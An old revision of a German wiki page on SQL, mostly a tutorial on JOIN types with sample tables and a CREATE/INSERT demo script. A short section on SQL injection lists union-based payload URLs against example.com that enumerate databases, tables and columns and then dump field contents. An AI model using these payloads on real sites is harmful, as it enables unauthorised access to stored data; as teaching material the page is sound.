Dies ist eine alte Version des Dokuments!
Structured Query Language (SQL), die sich als Standardsprache für die Kommunikation mit zweidimensionalen, relationalen Datenbanken durchgesetzt hat. Mit Hilfe von SQL können Datentabellen erstellt, miteinander verknüpft und editiert werden.
Dabei funktioniert die Datenbanksprache wie eine Art Schnittstelle zwischen den Datenbanken, indem sie die externen Anfragen von Usern in für die jeweilige Datenbank verständliche Befehle übersetzt.
Übliche Aktionen sind INSERT, SELECT, UPDATE, DELETE, ALTER, DROP,..
Im Gegensatz dazu gibt es NoSQL.
select * from information_schema.columns where table_name = 'aud_user';
NF = Normalfall
Siehe Learn Database Normalization - 1NF, 2NF, 3NF, 4NF, 5NF.
Joseph Mccray - Advanced SQL Injections
Wenn ein Angreifer versucht, Code in unsere Datenbank zu schleusen um an Daten zu kommen.
example.com/?id=1 example.com/?id=2-1 example.com/?id=1 order by 5 example.com/?id=-1 order by 5 example.com/?id=-1 union select all 1,2,3,4
Liste der Datenbanken
http://www.example.com/?id=-1 union select all 1,2,group_concat(schema_name),version() FROM information_schema.schemata
Liste der Tabellen
http://www.example.com/?id=-1 union select all 1,2,group_concat(table_schema,table_name),4 FROM information_schema.tables
Liste der Spalten
http://www.example.com/?id=-1 union select all 1,2,group_concat(table_schema, table_name, column_name),4 FROM information_schema.columns
und wenn er genug weiß, kann er direkt auf Daten zugreifen.
http://www.example.com/?id=-1 union select all 1,2,group_concat(myfield1,myfield2,...),4 FROM mydatabase.mytable
SQL Joins ermöglichen es, Daten aus mehreren Tabellen in einer Datenbank zu kombinieren. Die wichtigsten sind:
Nehmen wir an, wir haben zwei Tabellen: employees und departments.
employees
id | name | department_id |
---|---|---|
1 | John Doe | 1 |
2 | Jane Smith | 2 |
3 | Sam Johnson | NULL |
departments
id | name |
---|---|
1 | HR |
2 | Engineering |
3 | Marketing |
Der INNER JOIN gibt nur die Datensätze zurück, bei denen es eine Übereinstimmung in beiden Tabellen gibt.
SELECT columns FROM table1 INNER JOIN table2 ON table1.common_column = table2.common_column; SELECT employees.name, departments.name FROM employees INNER JOIN departments ON employees.department_id = departments.id;
name | name |
---|---|
John Doe | HR |
Jane Smith | Engineering |
Der LEFT JOIN gibt alle Datensätze aus der linken Tabelle zurück und die übereinstimmenden Datensätze aus der rechten Tabelle. Wenn keine Übereinstimmung gefunden wird, werden NULL-Werte für die rechte Tabelle zurückgegeben.
SELECT columns FROM table1 LEFT JOIN table2 ON table1.common_column = table2.common_column; SELECT employees.name, departments.name FROM employees LEFT JOIN departments ON employees.department_id = departments.id;
name | name |
---|---|
John Doe | HR |
Jane Smith | Engineering |
Sam Johnson | NULL |
Der RIGHT JOIN ist das Gegenteil des LEFT JOIN. Er gibt alle Datensätze aus der rechten Tabelle zurück und die übereinstimmenden Datensätze aus der linken Tabelle. Wenn keine Übereinstimmung gefunden wird, werden NULL-Werte für die linke Tabelle zurückgegeben.
SELECT columns FROM table1 RIGHT JOIN table2 ON table1.common_column = table2.common_column; SELECT employees.name, departments.name FROM employees RIGHT JOIN departments ON employees.department_id = departments.id;
name | name |
---|---|
John Doe | HR |
Jane Smith | Engineering |
NULL | Marketing |
Der FULL JOIN gibt alle Datensätze zurück, bei denen es eine Übereinstimmung in einer der beiden Tabellen gibt. Wenn keine Übereinstimmung gefunden wird, werden NULL-Werte für die Tabelle zurückgegeben, in der keine Übereinstimmung gefunden wurde.
SELECT columns FROM table1 FULL JOIN table2 ON table1.common_column = table2.common_column; SELECT employees.name, departments.name FROM employees FULL JOIN departments ON employees.department_id = departments.id;
name | name |
---|---|
John Doe | HR |
Jane Smith | Engineering |
Sam Johnson | NULL |
NULL | Marketing |
Der CROSS JOIN gibt das kartesische Produkt der beiden Tabellen zurück, d.h. er kombiniert jede Zeile der ersten Tabelle mit jeder Zeile der zweiten Tabelle.
SELECT columns FROM table1 CROSS JOIN table2; SELECT employees.name, departments.name FROM employees CROSS JOIN departments;
name | name |
---|---|
John Doe | HR |
John Doe | Engineering |
John Doe | Marketing |
Jane Smith | HR |
Jane Smith | Engineering |
Jane Smith | Marketing |
Sam Johnson | HR |
Sam Johnson | Engineering |
Sam Johnson | Marketing |
-- Tabelle 'Kunden' erstellen CREATE TABLE Kunden ( KundenID INT PRIMARY KEY, Name VARCHAR(50), Stadt VARCHAR(50) ); -- Daten in die Tabelle 'Kunden' einfügen INSERT INTO Kunden (KundenID, Name, Stadt) VALUES (1, 'Anna', 'Hamburg'), (2, 'Bernd', 'Berlin'), (3, 'Carla', 'München'), (4, 'David', 'Köln'); -- Tabelle 'Bestellungen' erstellen CREATE TABLE Bestellungen ( BestellungID INT PRIMARY KEY, KundenID INT, Produkt VARCHAR(50), FOREIGN KEY (KundenID) REFERENCES Kunden(KundenID) ); -- Daten in die Tabelle 'Bestellungen' einfügen INSERT INTO Bestellungen (BestellungID, KundenID, Produkt) VALUES (1, 1, 'Laptop'), (2, 1, 'Handy'), (3, 3, 'Tablet'), (4, 4, 'Monitor'); /* -- INNER JOIN SELECT Kunden.Name, Bestellungen.Produkt FROM Kunden INNER JOIN Bestellungen ON Kunden.KundenID = Bestellungen.KundenID; */ /* -- LEFT JOIN SELECT Kunden.Name, Bestellungen.Produkt FROM Kunden LEFT JOIN Bestellungen ON Kunden.KundenID = Bestellungen.KundenID; */ /* -- RIGHT JOIN SELECT Kunden.Name, Bestellungen.Produkt FROM Kunden RIGHT JOIN Bestellungen ON Kunden.KundenID = Bestellungen.KundenID; */ /* -- FULL OUTER JOIN SELECT Kunden.Name, Bestellungen.Produkt FROM Kunden FULL OUTER JOIN Bestellungen ON Kunden.KundenID = Bestellungen.KundenID; */ -- CROSS JOIN SELECT Kunden.Name, Bestellungen.Produkt FROM Kunden CROSS JOIN Bestellungen;